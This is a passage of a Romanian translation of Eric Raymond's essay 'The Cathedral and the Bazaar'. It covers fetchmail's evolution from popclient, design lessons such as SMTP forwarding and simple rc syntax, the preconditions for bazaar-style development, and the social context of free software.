Asa ca adaugarea de beta-testeri nu reduce complexitatea bugului “cel mai adinc” din P.O.V.-ul developerului, dar creste probabilitatea ca uneltele cuiva sa se potriveasca problemei astfel incit bugul este mic pentru acea persoana.

Linus amelioreaza si el solutiile. In cazul in care exista buguri serioase, versiunile de linux astfel incit userii pot alege intre ultima varianta declarata “stabila” sau sa se aventureze pe marginea prapastiei cu riscul bugurilor pentru a obtine caracteristici noi. Aceasta tactica nu este preluata formal de majoritatea hackerilor, dar poate ar trebui preluata; faptul ca ambele variante sint accesibile le face mai atractive pe amindoua.

5. Cind un trandafir nu este un trandafir ?

Studiind comportamentul lui Linus si creind o teorie asupra succesului lui, am luat decizia constienta de a testa aceasta teorie cu noul meu proiect (sigur mult mai simplu si mai putin ambitios).

Dar primul lucru pe care l-am facut a fost sa reorganizez si sa simplific mult popclient. Implementarea lui Carl Harris a fost foarte solida, dar prezenta un fel de complexitate nenecesara, comuna multor programatori C. El a tratat code-ul ca centru si structurile de date ca suport pentru code. Astfel, code-ul era frumos, dar designu-ul structurii de date era ad-hoc si detul de urit (cel putin dupa standardele inalte ale acestui batrin LISP

Totusi am avut si alt scop rescriind, in afara imbunatatirii code-ului si design-ului structurii de date. Acela de a evolua la ceva ce intelegeam complet. Nu merge sa fii responsabil de repararea bugurilor intr-un program pe care nu-l intelegi.

Cam o luna a urmat pur si simplu implicatiile design-ului de baza al lui Carl. Prima schimbare serioasa pe care am facut-o a fost sa adaug suport IMAP. Am facut-o reorganizind protocolul intr-un driver generic si trei tabele de metode (pentru POP2, POP3 si IMAP). Asta si schimbarile anterioare ilustreaza un principiu general la care programatorii ar face bine sa se gindeasca, mai ales in limbaje ca C, care normal nu scriu dinamic:

Structuri de date destepte si code prost merg mult mai bine decit invers.

Din nou Fred Brooks, capitolul 11: “Arata-mi [code] si ascunde [data structures], si voi continua sa ma insel. Arata-mi [data structures] si in mod normal nu voi avea nevoie de [code]; va fi evident.” De fapt, el a spus “flowcharts”si “tables”. Dar tinind cont de cei 30 de ani de schimbari terminologice si culturale, e cam acelasi lucru.

In acel moment (la inceputul lui septembrie 1996, dupa 6 saptamini) am inceput sa ma gindesc ca ar tebui schimbat numele – la urma urmei, nu mai era doar POP client. Dar am ezitat pentru ca nu era nimic absolut nou in design. Versiunea mea de popclient trebuia sa-si dezvolte o identitate proprie.

Problema s-a schimbat radical atunci cind fetchmail a invatat ca ms trimite mailul la portul SMTP. Ajung la asta imediat. Inainte: am spus mai sus ca ma hotarisem sa folosesc acest proiect pentru a-mi testa teoria despre ce facuse corect Linus Torvalds. Cum (ati putea intreba) am facut-o ? Astfel:

  • Release devreme si des (aproape niciodata mai rar de 10 zile; in perioadele de dezvoltare intensa, o data pe zi)
  • Am marit lista beta adaugind pe toti cei care ma contactasera in legatura cu fetchmail
  • Am trimis anunturi chat la cei de pe lista beta la fiecare release, incurajind lumea sa participe
  • Am ascultat beta-testerii, intrebindu-i in legatura cu deciziile de design si raspunzind oricind trimiteau raspunsuri si sugestii

Rasplata acestor masuri simple a fost imediata. Inca de la inceputul proiectului, am primit atentionari de buguri de o calitate pentru care majoritatea developerilor ar fi facut orice, frecvent cu solutii bune atasate. Am primit critici constructive, mail de la cei carora le-a placut, sugestii inteligente asupra caracteristicilor. Ceea ce duce la :

Daca iti tratezi beta-testerii ca pe cea mai valoroasa resursa, vor
raspunde devenind cea mai valoroasa resursa.

O masura interesanta a succesului fetchmailului este simpla marime a listei beta a proiectului, prietenii fetchmail. In timpul scrierii are 249 membri
si creste cu 2-3 pe saptamina.

Acum, cind revad lista la sfirsitul lui mai 1997, lista incepe sa scada dintr-un motiv interesant. Mai multi membri mi-au cerut sa-i scot de pe lista pentru ca fetchmail merge atit de bine din punctul lor de vedere incit nu mai au nevoie sa vada evolutia! Poate ca asta este ciclul normal de viata al unui proiect matur in stilul bazar.

6. Popclient devine Fetchmail

Adevarata rascruce a proiectului a fost atunci cind Harry Hochheiser mi-a trimis code-ul lui pentru trimiterea mailului la portul SMTP al clientului. Am inteles imediat ca o implementare sigura a acestei caracteristici ar face ca toate celelalte moduri de trimitere sa fie aproape nesemnificative.

Multe saptamini am facut mici modificari la fetchmail, simtind ca designul interetei era comod, dar neslefuit – neelegant si cu prea multe optiuni aparind peste tot. Optiunile de a pune mailul intr-un mailbox sau output standard ma deranjau in mod special, dar nu-mi dadeam seama de ce.

Ce am inteles cind m-am gindit la forward SMTP a fost ca popclient incercase sa faca prea multe. Fusese conceput sa fie atit un agent de transport pentru mail (MTA) cit si agent de distributie local (MDA). Cu forwardul SMTP, putea sa nu mai fie MDA, ci MTA pur, transmitind mailul altor programe pentru
livrare locala, exact ca sendmail.

De ce sa te incurci cu configurarea complexa a agentului de livrare a mailului sau sa aranjezi lock-and-append la mailbox cind portul 25 e garantat oricum aproape la orice sistem cu TCP/IP ? Mai ales atunci cind inseamna ca mailul luat este garantat sa apara ca mail initiat normal de cel
care trimite mail SMTP, ceea ce vroiam de fapt.

Sint mai multe lectii aici. In primul rind, ideea acestui SMTP-forwarding a fost cea mai mare recompensa independenta pe care am primit-o din incercarea de repetare constienta a metodelor lui Linus. Un user mi-a dat o idee minunata – tot ce trebuia sa fac era sa inteleg consecintele.

Cel mai bun lucru dupa a avea idei bune este sa recunosti ideile bune ale
userilor. Uneori mai tirziu e mai bine.

Destul de interesant, afli destul de repede ca daca esti complet sincer in ceea ce priveste cit datorezi celorlalti, toata lumea te va trata ca si cum ai fi facut tu absolut totul si esti modest in ceea ce priveste genialitatea ta. Puteti vedea cit de bine a mers in cazul lui Linus!

(Cind am prezentat aceasta lucrare la conferinta Perl din august 1997, Larry Wall statea in primul rind. Cind am ajuns la ideea asta, a strigat intr-un
stil revigorant “spune, spune, frate!”. Tot publicul a ris pentru ca stiau ca a mers si pentru inventatorul Perl-ului.)

Si dupa citeva saptamini de conducere a proiectului in acelasi stil, am inceput sa primesc aceeasi recunostere nu numai de la useri, ci si de la cei
care au aflat despre el. Am pus de-o parte ceva din emailul ala; ma voi uita la el daca vreodata ma voi intreba daca am facut ceva in viata );.

Dar sint doua lectii mai importante, non-politice, valabile pentru orice fel de design.

Solutiile cele mai izbitoare si novatoare apar din intelegerea faptului ca
conceptul initial a fost gresit.

Am incercat sa rezolv o problema gresita continuind sa dezvolt popclient ca o combinatie MTA/MDA cu tot felul de moduri de livrare ciudate. Designul fetchmailului trebuia regindit de la inceput ca MTA pur, o parte a SMTP normal.

Cind te lovesti de un zid in dezvoltare – cind te trezesti in dificultate gindindu-te ce vei face mai departe – este momentul sa te intrebi daca intrebarea e corecta, nu daca raspunsul e corect. Poate ca problema trebuie reformulata.

Ei bine, mi-am reformulat problema. Evident, ce trebuia facut era (1) transformarea suportului de forward SMTP intr-un driver generic, (2) crearea unui default mode si (3) eventual aruncate celelalte moduri de livrare, mai ales optiunile de livrare la file si standard output.

Am ezitat ceva timp in ceea ce priveste (3), temindu-ma sa nu supar useri vechi de popclient care depindeau de mecanisme alternative de livrare. Teoretic, puteau trece imediat la forward file sau la echivalente non-sendmail pentru a obtine ceva. Practic, tranzitia putea fi problematica.

Dar cind am facut-o, beneficiile s-au dovedit enorme. Partile cele mai greoaie din driver code au disparut. Configurarea a devenit mult mai simpla – gata cu tatonarea pentru MDA si mailboxul userului, gata cu grijile legate de posibilitatea OS-ului de a suporta file locking.

De asemenea a disparut singura cale prin care se putea pierde mail. Daca specificai livrarea la anume file si discul se umplea, mailul se pierdea. Nu se poate intimpla cu SMTP forwarding pentru ca SMTP listener nu raspunde OK decit daca mesajul poate fi livrat sau macar pastrat pentru a fi livrat mai tirziu.

De asemenea, s-au imbunatatit performantele (n-ai crede ca se vede din prima). Alt beneficiu semnificativ a fost ca pagina-manual a devenit mult mai simpla.

Mai tirziu, a trebuit sa permit livrarea printr-un MDA local specificat de user pentru a rezolva situatii ciudate legate de SLIP dinamic. Dar am gasit o metoda mult mai simpla de rezolvare.

Morala ? Nu ezita sa arunci caracteristici supraspecializate cind te poti descurca fara ele, fara sa pierzi eficienta. Antoine de Saint-Exupery (pilot si contructor de avioane cind nu era autor de carti clasice pentru copii) spunea:

“Perfectiunea (in design) este atinsa nu atunci cind nu mai ai ce adauga,
ci mai curind atunci cind nu mai ai ce elimina.”

Cind code-ul devine atit mai bun cit si mai simplu, atunci stii ca este corect. Si pe parcurs, fetchmail a dobindit o identitate proprie, diferita
de popclientul initial.

Era momentul sa se schimbe numele. Noul design arata mai mult ca dual de sendmail decit arata vechiul popclient; ambele sint MTA, dar in timp ce sendmail impinge apoi livreaza, popclient trage apoi livreaza. Deci, dupa 2 luni, l-am numit fetchmail.

7. Fetchmail creste

Aveam un design curat si novator, code care mergea bine, stiam asta pentru ca il foloseam in fiecare zi, si aveam o lista beta infloritoare. Mi-am dat seama treptat ca nu mai lucram la un program personal care ar fi putut folosi, intimplator, si altora. Aveam un program de care avea intr-adevar nevoie orice hacker cu Unix box si conexiune de mail SLIP/PPP.

Cu caracteristica de forward SMTP, a trecut destul de departe in fruntea competitiei celor care ar putea deveni “category killer”, unul din programele clasice care isi ocupa locul atit de bine incit alternativele nu numai ca sint discreditate, sint chiar uitate.

Cred ca n-as putea tinti sau planui un astfel de rezultat. Trebuie sa fii tras acolo prin idei atit de puternice incit rezultatele ulterioare par inevitabile, naturale, chiar predestinate. Singura cale de a cauta astfel de idei este sa ai foarte multe idei – sau sa ai capacitatea de a duce ideile altora dincolo de limitele gindite de cei de la care au pornit.

Andrew Tanenbaum a avut ideea de a construi un Unix simplu pentru 386, ca unealta de invatare. Linus Torvalds a impins conceptia Minixului dincolo de
ce crezuse Andrew ca ar putea face – si s-a transformat in ceva minunat. La fel (la o scara mai mica), am luat idei ale lui Carl Harris si Harry Hochheiser si le-am impins cu putere. Niciunul dintre noi nu a fost “original” in felul romantic in care este conceput geniul. Dar, pe de alta parte, cea mai mare parte a dezvoltarii in stiinta, inginerie si soft nu apare de la un geniu original, mit al domeniului, ci dimpotriva.

Rezultatele erau totusi de frunte – de fapt, succesul pentru care traieste orice hacker! Si asta insemna ca trebuia sa-mi ridic standardele chiar mai mult. Pentru a face fetchmailul atit de bun pe cit vedeam acum ca putea fi, trebuia sa tin cont nu numai de necesitatile mele, ci sa includ si necesitatile celor din afara cercului meu. Si s-o fac mentinind programul simplu si robust.

Prima si de departe cea mai importanta trasatura pe care am scris-o dupa ce am inteles asta a fost un suport multidrop – abilitatea de a prelua mailul de la mai multe mailboxes si sa-l adun de la un grup de useri, apoi sa trimit fiecare mail la destinatarul individual.

Am hotarit sa adaug acest suport in parte pentru ca unii useri il doreau, dar in principal pentru ca credeam ca voi scapa de buguri fortindu-ma sa ma descurc cu orice fel de adresare. Si asa a fost. Pentru a aranja RFC822 parsing mi-a trebuit foarte mult timp, nu din cauza ca partile sint grele, ci pentru ca implica o groaza de amanunte importante si interdependente.

Dar si designul acesta s-a dovedit a fi o decizie excelenta. Iata cum am stiut:

Orice utilitar ar trebui sa fie folositor dupa cum se asteapta de la el, dar unul foarte bun se arata folositor cum nu te-ai fi asteptat

Utilitatea neasteptata pentru multi-drop fetchmai este utilizarea listelor de mail pastrind lista, folosind extensia de alias, pe conexiunea SLIPP/PPP de partea userului. Asta inseamna ca cineva care isi folosea computerul personal credea ca o conexiune ISP poate da lista de mail fara continuarea accesului la aliasurile ISP-ului.

Alta schimbare importanta ceruta de beta-testerii mei a fost cea de suport pentru 8-bit MIME operation. Asta era destul de usor de facut pentru ca am avut grija sa pastrez code-ul 8-bit curat. Nu pentru ca anticipasem cererea, ci mai curind urmind o alta regula:

Cind scrii gateway software de orice fel, straduieste-te sa tulburi curentul de date cit mai putin – si niciodata nu arunca informatii cu exceptia cazului in care esti obligat.

Daca nu urmam aceasta regula, suportul 8-bit MIME ar fi fost dificil si plin de buguri. Asa, tot ce trebuia sa fac era sa citesc RFC 1652 si sa adaug o parte foarte mica de header-generation logic.

Unii useri europeni m-au pisat sa adaug o optiune de limitare a numarului demesaje luate per sesiune (astfel incit ei sa poata controla preturile din retelele lor telefonice scumpe). M-am opus mult timp si nici acum nu sint multumit cu ideea. Dar daca scrii pentru lume, trebuie sa-ti asculti clientii – si asta nu se schimba numai pentru ca nu te platesc cu bani.

8. Inca citeva lectii de la Fetchmail

Inainte de a ne intoarce la probleme generale de conceperea softlui, sint citeva lectii mai specifice de evaluat din experienta fetchmail.

Sintaxa rc file include cuvinte-cheie “zgomotoase” optionale, care sint complet necunoscute sistemului de analiza gramaticala. Sintaxa similara limbii engleze pe care o permite e mult mai usor citibila decit asocierea clasica cuvint cheie-valoare ce ramine dupa ce le elimini.

A inceput ca un experiment noaptea tirziu cind am observat cite din rc file declarations incepeau sa semene unui minilimbaj imperativ. (Tot din aceasta
cauza am schimbat cuvintul-cheie “server”, original din popclient cu “poll”).

Mi se parea ca folosirea acestui limbaj imperativ ar fi mai usoara daca as incerca sa-l fac mai asemanator cu engleza. Desi sint partizan convins al scolii de design “fa-l limbaj”, dupa cum se vedela Emacs si HTML si multe utilitare pentru baze de date, in mod normal nu sint fan al sintaxelor “English-like”.

Programatorii traditionali au avut tendinta sa favorizeze sintaxe de control foarte precise si compacte si care n-au deloc redundanta. Asta este o
mostenire culturala de pe vremea cind resursele pentru computere erau mici, asa ca fazele de analiza gramaticala trebuiau sa fie cit mai simple si mai
mici consumatoare posibil. Engleza, cu o redundanta de aproximativ 50%, parea atunci un model foarte nepotrivit.

Dar nu asta este motivul meu de a nu adopta sintaxe English-like; l-am mentionat numai pentru a-l elimina. Cu programe mici consumatoare, concizia
nu ar trebui sa fie esentiala. Astazi e mai important ca un limbaj sa fie convenabil pentru oameni decit sa consume putin din resursele computerului.

Totusi, exista motive serioase pentru a fi econom. Unul este costul complexitatii fazei de analiza – nu se doreste sa ajunga sursa semnificativa de buguri si confuzie pentru user. Altul este faptul ca incercarea de a face o sintaxa a limbajului English-like necesita o “engleza” intr-o forma foarte proasta, astfel incit asemanarea aparenta cu limba naturala devine la fel de confuza cum fusese sintaxa traditionala. (Se vede intr-o multime de 4GL-uri si limbaje de cautare pentru baze de date comerciale.)

Sintaxa de control a fetchmailului pare sa evite aceste probleme pentru ca domeniul de limba este foarte mic. Nu e nici pe departe un limbaj pentru scopuri generale; ceea ce spune simplu nu e foarte complicat, deci exista un potential mic de confuzie prin trecerea mentala de la un mic subset de engleza la limba actuala. Cred ca este o lectie mai larga aici:

Cind limbajul nu se apropie nici pe departe de Turing-complete, zaharul sintactic iti poate fi prieten.

Alta lectie este despre securitate prin obscuritate. Unii useri fetchmail mi-au cerut ca schimb softul pentru a pune parole criptate in rc file, astfel incit cei care-si baga nasul sa nu poata sa le vada intimplator.

N-am facut-o, pentru ca nu creste intr-adevar gradul de protectie. Oricine a primit permisiunea sa-ti citeasca rc file va putea rula fetchmail ca si tine oricum – si daca vrea parola ta, va putea sa gaseasca ce-i trebuie pentru decodare in insusi code-ul fetchmail.

Orice criptare de parola fetchmailirc ar fi dat un fals sentiment de securitate celor care nu se gindesc foarte bine. Regula generala este:

Un sistem de securitate e atit de sigur pe cit e de secret. Fereste-te de pseudo-secrete.

9. Preconditii necesare pentru stilul bazar

Primele critici si teste de audienta pentru aceasta lucrare au ridicat intrebari legate de preconditiile dezvoltarii bune in stil bazar, inclusiv calificarea conducatorului de proiect si statusul code-ului in momentul in care devine public si incepe sa incerce constructia unei comunitati de co-developeri.

E destul de clar ca nu se poate construi de la zero in stilul bazar. Se poate testa, se pot elimina bugurile si se poate imbunatati in stilul bazar, dar ar fi foarte greu sa incepi un proiect in stilul bazar. Linus n-a incercat. Nici eu. Comunitatea de developeri in formare are nevoie de ceva ce merge si poate fi testat pentru a se juca.

Cind incepi constructia comunitatii, ceea ce trebuie prezentat este o promisiune plauzibila. Programul nu trebuie sa mearga prea bine. Poate fi aspru, plin de buguri, incomplet si prost documentat. Ceea ce nu trebuie ratat este convingerea potentialilor co-developeri ca programul poate evolua in ceva foarte misto intr-un viitor previzibil.

Linux si fetchmail au iesit amindoua cu design de baza puternic si atractiv. Multi din cei care s-au gindit la modelul bazar prezentat de mine au considerat acest lucru ca fiiind critic, de unde au ajuns la concluzia ca pentru proiect este indispensabil un conducator cu un grad mare de intuitie si istetime in design.

Dar Linus si-a luat designul de la Unix. Eu l-am luat pe al meu initial de la popmail (desi ulterior s-a schimbat mult, mult mai mult proportional vorbind decit Linuxul). Deci trebuie neaparat ca leaderul sa aiba un talent exceptional sau il poate prelua de la altii ?

Nu cred ca este neaparat necesar sa fie un coordonator capabil sa creeze designuri exceptionale, dar este neaparat necesar sa fie in stare sa recunoasca ideile bune in design ale altora.

Atit proiectul Linux cit si fetchmail au evidentiat asta. Linus, in timp ce nu era (dupa cum am discutat) un designer spectaculos, a dovedit un fler puternic in a recunoaste un design bun si a-l introduce in kernelul Linux. Si eu am spus deja ca cea mai buna idee de design in fetchmail (SMTP forwarding) a venit de la altcineva.

Primii cititori ai acestei lucrari m-au laudat sugerind ca am tendinta sa subevaluez originalitatea designului proiectelor in stilul bazar pentru ca eu sint foarte talentat si de-asta tind s-o consider de la sine inteleasa. S-ar putea sa fie ceva adevarat; designul (contrar programarii sau eliminarii bugurilor) este cu siguranta cel mai mare talent al meu.

Dar problema in a fi destept si original in designul softului este ca devine un obicei – incepi reflex sa faci lucruri dragute si complicate cind ar
trebui sa le pastrezi simple si robuste. Am ratat proiecte din aceasta cauza, dar am reusit sa n-o fac cu fetchmail.

Deci cred ca proiectul fetchmail a reusit in parte pentru ca mi-am infrint tendinta de a fi destept; asta este un argument (cel putin) impotriva ideii
ca originalitatea designului este esentiala pentru proiectele in stil bazar. Si ginditi-va la Linux. Presupunind ca Linus Torvalds incercase sa aduca
inovatii fundamentale in designul OS in timpul dezvoltarii; pare probabil ca kernelul rezultat sa fie atit de stabil si de bun pe cit este ?

Sigur ca este necesar un anumit nivel in design si programare, dar cred ca toti cei care s-ar gindi serios sa lanseze un astfel de proiect ar depasi limita minima. Piata interna a comunitatii free-software exercita o presiune subtila asupra oamenilor sa nu se lanseze in eforturi de dezvoltare pe care nu le pot sustine in continuare. Pina acum se pare ca a mers destul de bine.

Exista un alt fel de talent, care in mod normal nu e asociat cu dezvoltarea softului, pe care il consider la fel de important pentru proiectele stil bazar ca si istetimea in design – si ar putea fi chiar mai important. Un coordonator de proiect trebuie sa aiba capacitatea de a comunica cu oamenii bine.

Ar trebui sa fie evident. Pentru a construi o comunitate de dezvoltare, trebuie sa atragi oamenii, sa-i interesezi in ceea ce faci si sa-i mentii multumiti in legatura cu cantitatea de effort pe care o depun. Realizarea tehnica va face mult in acest scop, dar nu e nici pe departe tot. Conteaza si personalitatea pe care o proiectezi.

Nu este o coincidenta ca Linus e un tip simpatic care ii transforma pe oameni si ii face sa vrea sa-l ajute. Nu e o coincidenta ca eu sint un extrovertit energic caruia-i place sa munceasca in multime si are ceva din prezenta si instinctul unui comic de marca. Pentru ca modelul bazar sa mearga, ajuta enorm sa ai un cit de mic talent sa farmeci oamenii.

10. Contextul social al Free Software

E adevarat ce se spune: cele mai bune programe incep ca solutie la problemele personale, de fiecare zi, ale autorului si se raspindesc pentru ca problemele se dovedesc a fi tipice pentru o mare categorie de useri. Asta ne duce inapoi la regula 1, reformulata intr-un mod mai folositor probabil:

Pentru a rezolva o problema interesanta, incepe prin a gasi o problema
care te intereseaza

Asa a fost cu Carl Harris si popclient, asa a fost si cu mine si fetchmail. Dar asta s-a inteles de mult timp. Partea interesanta, cea asupra careia Linux si fetchmail par sa ne ceara sa ne concentram, este etapa urmatoare – evolutia softului in prezenta unei comunitati mari si active de useri si co-developeri.

In “Miticul om-luna”, Fred Brooks a observat ca timpul uni programator nu este inlocuibil; adaugarea developerilor la un proiect intirziat il face sa intirzie mai mult. A argumentat prin faptul ca costul complexitatii si comunicarii intr-un proiect creste cu patratul numarului de developeri, in timp ce cantitatea de munca creste numai linear. De atunci, aceasta idee a devenit “legea lui Brooks” si e considerata in general un adevar. Dar daca legea lui Brooks ar cuprinde tot, Linux ar fi fost imposibil.

Citiva ani mai tirziu, clasicul “Psihologia programarii computerelor” de Gerald Weiberg a furnizat ceea ce putem privi ca corectura vitala la Brooks. In discutia lui despre “programarea neegoista”, Weinberg a constatat ca in magazinele unde developerii nu sint posesivi cu code-ul lor si ii incurajeazape altii sa caute buguri si imbunatatiri posibile, imbunatatirea apare mult mai repede decit in alte parti.

Alegerea terminologiei lui Weinberg a impiedicat cistigarea meritelor pe care analiza le merita – oricine ar zimbi la gindul ca hackerii de pe Internet ar putea fi considerati “dezinteresati”. Dar cred ca acest argument pare astazi mai real ca intotdeauna.

Istoria Unixului ar fi trebuit sa ne pregateasca pentru ceea ce invatam din Linux (si ce am verificat experimental la o scara mai mica copiind deliberat
metodele lui Linus). Adica, in timp ce programarea ramine o activitate esential solitara, programele cu adevarat importante apar din angajarea atentiei si puterii de gindire unor comunitati intregi. Developerul care foloseste numai propriul creier intr-un proiect inchis va ramine in urma developerului care stie sa creeze un context deschis, evolutiv in care gasirea bugurilor si imbunatatirile sint realizate de sute de oameni.

Dar lumea Unix traditionala a fost impiedicata de mai multi factori sa impinga aceasta abordare pina la capat. Unul a fost reprezentat de limitarile legale ale diferitelor licente, schimbul de secrete si interese comerciale. Altul a fost acela ca Internetul nu era suficient de bun inca.

Inaintea Internetului ieftin, existau comunitati geografice compacte unde cultura incuraja programarea “neegoista” a lui Weinberg si un developer putea atrage cu usurinta o multime de chibiti talentati si co-developeri. Bell Labs, MIT AI Lab, UC Berkeley – au devenit casa inovatiilor, sint legendare si inca puternice.

Linux a fost primul proiect care a facut un efot continuu si constient pentrua folosi intreaga lume ca sursa de talente. Nu cred ca este o coincidenta faptul ca perioada de gestatie a Linuxului a coincis cu nasterea WWW-ului si ca Linuxul si-a terminat copilaria in aceeasi perioada 1993-1994 in care s-a vazut pornirea industriei ISP si explozia curentului principal de interes in Internet. Linus a fost primul care a invatat cum sa joace dupa noile reguli pe care le-a facut posibile noul Internet permeabil.

In timp ce un Internet ieftin era necesar pentru evolutia modelului Linuxului, cred ca nu era si o conditie suficienta. Alt factor vital a fost dezvoltarea stilului de conducere si aranjarea obiceiurilor de cooperare care puteau permite developerlor sa atraga co-developeri si sa obtina pirghiile maxime pentru mediu.

Dar ce este stilul de conduceresi ce sint aceste obiceiuri ? Nu se pot baza pe relatii de putere – si chiar daca ar putea, conducerea prin obligare nu ar produce rezultatele pe care le vedem. Weinberg citeaza autobiografia lui Kropotkin, un anarhist rus din secolul19, (“Memoriile unui revolutionar”) pentru un efect bun la acest subiect:

“Fiind crescut de familia unui proprietar de sclavi, am intrat in viata activa, ca toti tinerii din vremea mea, cu multa incredere in necesitatea de a comanda, ordona, ocari, pedepsi si altele asemenea. Dar atunci cind, devreme, a trebuit sa ma ocup de treburi serioase si sa ma descurc cu oameni [liberi], si cind fiecare greseala ar fi dus la consecinte serioase, am inceput sa apreciez diferenta intre a actiona pe baza principiului de comanda si disciplina si a actiona pe principiul intelegerii reciproce. Cel
anterior functioneaza admirabil intr-o parada militara, dar nu valoreaza nimic in viata reala si scopul poate fi atins numai prin effort serios si interese comune.”

Inainte m-am referit la “efectul Delphi” ca o posibila explicatie pentru legea lui Linus. Dar analogii mai puternice, irezitibile, apar cu sisteme adaptative din biologie si economie. Lumea Linux se comporta, din multe puncte de vedere, ca o piata libera sau un sistem ecologic, o colectie de agenti egoisti care incearca sa maximalizeze utilitatea, ceea ce produce o ordine spontana auto-corectanta mai elaborata si eficienta decit ar putea realiza vreo planificare centrala. Atunci aici este locul unde trebuie
cautat “principiul intelegerii”.

“Functia utilitate” pe care o maximalizeaza hackerii Linux nu este clasica economic, dar este intangibilul propriei lor auto-satisfactii si reputatiei intre hackeri. (S-ar putea spune ca sint “altruisti”, dar s-ar ignora faptul ca altruismul insusi este o forma de auto-satisfactie pentru altruist). Culturile voluntariatului care functioneaza asa nu sint tocmai rare; o alta din care am facut parte mult timp este lumea fanilor science fiction, care, spre deosebire de lumea hackerilor, recunoaste explicit “egoboo” (amplificarea reputatiei cuiva intre ceilalti fani) ca fiind principala motivatie a activitatii voluntare.

Linus, pozitionindu-se cu succes ca paznic al unui proiect in care dezvoltarea este facuta in principal de altii si hranind interesul pentru proiect pina cind a devenit auto-sustinut, a demonstrat un simt acut al “principiului interesului comun” al lui Kropotkin. Aceasta vedere pseudo-economica asupra lumii Linux ne permite sa vedem cum este aplicata intelegerea.

Putem privi metoda lui Linus ca o metoda de a crea o piata eficienta in “egoboo” – conectarea cit mai puternica a lipsei de egoism individuala a hackerilor pentru a face lucruri dificile, care pot fi realizate numai prin cooperare sustinuta. Cu proiectul fetchmail am aratat (la o scara mai mica) ca metodele lui pot fi duplicate cu rezultate bune. Poate ca eu am facut-o un pic mai constient si mai sistematic decit el.

Multi (mai ales cei care nu au incredere politic in pietele libere) s-ar astepta ca o lume de egoisti egocentristi sa fie fragmentata, teritorializata, in pierdere, secretoasa si ostila. Dar aceste asteptari sint falsificate clar de (numai un exemplu) varietatea, calitatea si profunzimea uimitoare a documentarii Linux. E un dat sfint faptul ca programatorii urasc documentarea; atunci cum se face ca hackerii Linux produc atit de multa ? Evident ca piata libera a Linuxului in lumea egoboo reuseste mai bine sa genereze un comportament virtuos, directionat spre altii, decit producatorii de soft comercial cu documentatiile lor bine platite.

Atit proiectul kernelului fetchmail cit si Linux arata ca recompensind corespunzator egourile multor altor hackeri, un coordonator puternic poate folosi Internetul pentru a avea beneficiile generate de multi co-developeri fara ca proiectul sa se prabuseasca in haos. Deci contra-propunerea mea la
legea lui Brooks este:

Fiind dat un coordonator de dezvoltare cu un mediu cel putin la fel de bun ca Internetul si stie sa conduca fara coercitie, multe capete sint inevitabil mai bune decit unul.

Cred ca viitorul free software-ului va apartine tot mai mult celor care stiu cum sa joace jocul lui Linus, celor care parasesc catedrala si patrund in bazar. Asta nu inseamna ca viziune si talentul individual nu vor mai conta; mai curind, cred ca limita free software-ului va apartine celor care pornesc de la viziunea si talentul individual, apoi le amplifica prin constructia efectiva a unor comunitati de interese bazate pe voluntariat.

Si poate nu numai viitorul free software. Niciun developer comercial nu poate egala multimea de talente pe care comunitatea Linux o poate mobiliza in rezolvarea unei probleme. Foarte putini si-ar putea permite doar sa inchirieze mai mult de 200 de oameni, citi au contribuit la fetchmail!

Poate ca in final cultura free software va trumfa, nu din cauza ca cooperarea este corecta din punct de vedere moral sau “ingradirea” softului este gresita din punct de vedere moral (presupunind ca credeti ultima afirmatie, ceea ce nu credem nici eu nici Linus), ci pur si simplu pentru ca lumea comerciala nu poate invinge o specie evolutiva cu comunitati de free-software care poate mobiliza la timp grupuri mult mai talentate pentru rezolvarea unei probleme.

11. Recunoasteri

Aceasta lucrare a fost imbunatatita datorita conversatiilor cu un mare numar de oameni care m-au ajutat s-o corectez. Multumesc in mod special lui Jeff
Dutky[2], care a sugerat formularea “debugging is parallelizable” si a ajutat la analiza ce a aparut din aceasta idee. De
asemenea lui Nancy Lebovitz[3] pentru sugestiile de a-l explica pe Weinberg citind din Kropotkin. Critici constructive au
venit si de la Joan Eslinger[4] si Marty[5] de la lista General Techmatrics. Paul Eggert[6] a observat conflictul dintre GPL si modelul bazar. Sint recunoscator membrilor PLUG, grupului de useri Philadelphia Linux pentru
ca mi-au furnizat testul de audienta pentru prima varianta publica a acestei lucrari. In final, Linus Torvald m-a ajutat prin comentarii si m-a incurajat

De citit in continuare

Am citat mai multe bucati din clasicul “miticul om-luna” de Frederick P. Brooks pentru ca, din multe puncte de vedere, se pot aduce inca imbunatatiri prin imaginea redata de el. Recomand din toata inima a 25-a editie aniversara de la Addison-Wesley (ISBN 0-201-83595-9), care cuprinde si lucrarea din 1986 “Fara glont de argint”.

Noua editie e adusa la zi printr-o retrospectiva nepretuita de 20 de ani in care Brooks recunoaste, pe drept, ca sint citeva judecati in textul original
care nu au suportat testul timpului. Am citit prima data retrospectiva dupa ce aceasta lucrare era aproape gata, si am fost surprins sa vad ca Brooks
atribuie practicile stil bazar Microsoftului!

Psihologia programarii computerelor de Gerald P. Weinberg (New York, Van Nostrand Reinhold 1971) a introdus conceptul, destul de nefericit etichetat,
de “egoless programming”. Cind nu era nici pe departe primul care intelegea superficialitatea conceptului “principle of command”, era probabil primul care recunostea si sustinea ideea in legatura cu dezvoltarea softului.

Richard P. Gabriel, observind cultura Unix din perioada pre-Linux, a sustinut superioritatea unui model stil bazar primitiv in lucrarea Lisp din 1989: “vesti bune, vesti proaste si cum sa cistigi mult”. Desi depasit din anumite puncte de vedere, acest eseu este sarbatorit inca intre fanii Lisp (inclusiv eu). Un corespondent mi-a amintit ca sectiunea intitulata “Mai rau e mai bine” apare aproape ca o anticipare a Linuxului. Lucrarea este accesibila pe WWW la[7]

Peopleware de De Marco si Lister: Proiecte si echipe productive (New York; Dorset House, 1987; ISBN 0-932633-05-6) este o nestemata subapreciata si am
fost incintat sa vad ca Fred Brooks cita din ea in retrospectiva. In timp ce putin din ce au de spus autorii este aplicabil direct la Linux sau comunitatile free-software, privirea asupra conditiilor necesare muncii creative sint actuale si meritorii pentru oricine incearca sa importe din meritele modelului bazar intr-un context mai comercial.

In final, trebuie sa recunosc ca aproape am numit aceasta lucrare “The Cathedral and the Agora”, ultimul termen fiind grecescul pentru piata deschisa sau loc public de intilnire. Lucrarile rodnice “sisteme agorice” de Mark Miller si Eric Drexler, descriind proprietatile emergente ale sistemelor de computere market-like, m-au ajutat sa imi fac o imagine clara despre fenomene analoge in cultura free-softwareatunci cind am dat cu nasul de ele, datorita Linuxului, cinci ani mai tirziu. Aceste lucrari sint
accesibile pe WWW la[8]

Istoria versiunilor si schimbarilor

Am adaugat bibliografia la 7 iulie 1997 in 1.20.

Am adaugat anecdota Perl Conference la 18 noiembrie 1997 in 1.27.

